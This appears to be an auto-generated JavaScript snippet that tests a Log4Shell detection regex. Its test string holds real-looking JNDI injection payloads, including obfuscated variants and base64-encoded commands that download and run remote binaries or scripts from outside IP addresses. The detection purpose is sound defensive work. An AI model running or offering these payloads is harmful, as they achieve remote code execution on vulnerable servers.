const regex = /([\$]|[\%24]){1,3}(?<suspicious_log4j>([\{]|[\%7B]{1,3}).*[jJnNdDiI]{1,4}.+[lLdDaApPsS]{1,5}.+([\/|\%2F]).+)/gm;
// Alternative syntax using RegExp constructor
// const regex = new RegExp('([\\$]|[\\%24]){1,3}(?<suspicious_log4j>([\\{]|[\\%7B]{1,3}).*[jJnNdDiI]{1,4}.+[lLdDaApPsS]{1,5}.+([\\\/|\\%2F]).+)', 'gm')
const str = `\${jndi:ldap://\${hostName}.c6qgldh5g22l07bu1lvgcg4ukyyygg3tw.example.com/a}
\$%7Bjndi:ldap://161.104.129.3:1389/Exploit%7D
\${jndi:ldaps://probe001.log4j.example.net:9200/b}
\${jndi:ldap://161.104.129.3:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8zNC4yMTUuNDguMTA2OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8zNC4yMTUuNDguMTA2OjQ0Myl8YmFzaA==}
\$%7Bjndi:ldap://\$%7BhostName%7D_solr.c78v36tibg0r9p1hgukgc8e9jaaydcyag.ns1.exploitexample.com%7D
%24%7B%24%7B%3A%3Aj%7Dndi%3Armi%3A%2F%2F161.104.129.3%3A1389%2FBinary%7D
\${\${lower:j}\${upper:n}\${lower:d}\${upper:i}:\${lower:r}m\${lower:i}}://161.104.129.3:1389/Binary}
\${\${env:NaN:-j}ndi\${env:NaN:-:}\${env:NaN:-l}dap\${env:NaN:-:}//161.104.129.3:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMi41OC4xNDkuMjA2L3N0YXI7IGN1cmwgLU8gaHR0cDovLzIuNTguMTQ5LjIwNi9yc3RhcjsgY2htb2QgNzc3IHN0YXI7IC4vc3RhciBleHBsb2l0}`;
// Reset `lastIndex` if this regex is defined globally
// regex.lastIndex = 0;
let m;
while ((m = regex.exec(str)) !== null) {
// This is necessary to avoid infinite loops with zero-width matches
if (m.index === regex.lastIndex) {
regex.lastIndex++;
}
// The result can be accessed through the `m`-variable.
m.forEach((match, groupIndex) => {
console.log(`Found match, group ${groupIndex}: ${match}`);
});
}
Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for JavaScript, please visit: https://developer.mozilla.org/en/docs/Web/JavaScript/Guide/Regular_Expressions